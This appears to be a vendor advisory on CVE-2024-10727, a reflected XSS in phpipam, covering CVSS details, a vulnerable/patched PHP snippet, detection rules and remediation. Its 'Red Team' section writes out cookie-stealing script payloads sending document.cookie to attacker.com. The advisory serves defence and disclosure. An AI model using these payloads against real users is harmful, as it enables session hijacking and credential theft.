CVE-2024-10727
Executive Summary
CVE-2024-10727 is a reflected cross-site scripting (XSS) vulnerability affecting phpipam versions 1.5.0 through 1.6.0. The flaw occurs when the application unsafely reflects user-supplied data from an HTTP request into the immediate response, allowing an attacker to inject arbitrary JavaScript. Successful exploitation requires user interaction (e.g., clicking a crafted link) and can lead to session hijacking, credential theft, or further compromise of the user's browser context. The CVSS score is 3.5 (Low), reflecting the need for user interaction and limited impact on confidentiality. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
- Base Score: 3.5 (Low)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The low severity reflects the requirement for user interaction and the limited direct impact (only low confidentiality). However, in a real-world scenario, XSS can be chained with other vulnerabilities or used to steal session tokens, potentially leading to higher impact.
Deep Dive & Mechanics
The vulnerability resides in how phpipam handles HTTP request parameters. When a user submits a request containing malicious input (e.g., via a crafted URL), the application includes that input directly in the HTML response without proper sanitization or encoding. This allows an attacker to inject arbitrary HTML and JavaScript.
Root Cause: The application fails to escape or validate user-controlled data before embedding it in the response. This is a classic reflected XSS pattern.
Attack Flow:
- Attacker crafts a malicious URL containing JavaScript payload in a parameter (e.g.,
?param=<script>alert('XSS')</script>). - Attacker tricks a victim into clicking the link (e.g., via phishing email or social media).
- Victim's browser sends the request to the vulnerable phpipam server.
- Server reflects the malicious input in the response without sanitization.
- Victim's browser executes the injected JavaScript in the context of the phpipam application.
Potential Impact:
- Session cookie theft (if
HttpOnlyflag is not set) - Phishing attacks (redirecting to fake login pages)
- Defacement of the application interface
- Keylogging or form data theft
- Further exploitation via CSRF or other attacks
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code pattern is described generically.
Vulnerable Code (PHP):
<?php
$param = $_GET['param'];
echo "<div>User input: " . $param . "</div>";
?>
Patched Code (PHP):
<?php
$param = htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
echo "<div>User input: " . $param . "</div>";
?>
The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection. Alternatively, a Content Security Policy (CSP) header can be implemented as a defense-in-depth measure.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable phpipam instance (version 1.5.0 to 1.6.0)
- A victim user with an active session
Exploitation Steps:
- Identify a parameter that is reflected in the response (e.g.,
?page=,?search=, or?message=). - Craft a payload:
?page=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - URL-encode the payload:
?page=%3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D'%2Bdocument.cookie)%3C%2Fscript%3E - Send the link to the victim via email or other means.
- Set up a listener on
attacker.comto capture the cookie.
Example Payload:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
Blue Team
Detection:
- Monitor web server logs for unusual parameters containing
<script>,onerror=,javascript:, or other XSS patterns. - Use WAF rules to block reflected XSS attempts.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding (e.g.,
htmlspecialchars()in PHP). - Set
HttpOnlyandSecureflags on session cookies. - Use a Web Application Firewall (WAF) with XSS detection rules.
- Educate users about phishing and suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
<script>tags oronerror=attributes in query parameters. - Outbound connections to unknown domains from the phpipam server (e.g., for data exfiltration).
- HTTP requests containing
- Host IOCs:
- Unusual entries in web server access logs with encoded XSS payloads.
- Presence of unexpected JavaScript files or modified application files.
- File IOCs:
- Suspicious entries in phpipam's error logs or debug logs.
Detection Engineering
YARA Rule
rule phpipam_reflected_xss_cve_2024_10727 {
meta:
description = "Detects reflected XSS attempts against phpipam CVE-2024-10727"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-10727"
strings:
$xss_payload1 = /<script[^>]*>.*?<\/script>/i
$xss_payload2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss_payload3 = /javascript\s*:\s*/i
$phpipam_path = /\/phpipam\//i
condition:
any of ($xss_payload*) and $phpipam_path
}
Sigma Rule
title: Reflected XSS Attempt Against phpipam
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests with XSS payloads targeting phpipam
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in parameters (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10727 phpipam Reflected XSS Attempt"; flow:to_server,established; content:"/phpipam/"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade phpipam to a patched version (if available) or apply vendor-supplied patches.
- Implement input validation and output encoding for all user-supplied data.
- Set Content Security Policy (CSP) headers to restrict script execution.
- Enable HttpOnly and Secure flags on session cookies.
- Deploy a Web Application Firewall (WAF) with XSS detection rules.
Long-term Measures:
- Conduct regular security audits and penetration testing.
- Follow secure coding practices (e.g., OWASP guidelines).
- Monitor for new CVEs and apply patches promptly.
- Educate developers and users about XSS risks.
Workaround (if patching is not possible):
- Manually sanitize all reflected parameters in the application code.
- Use a reverse proxy to filter malicious requests.
Valters IT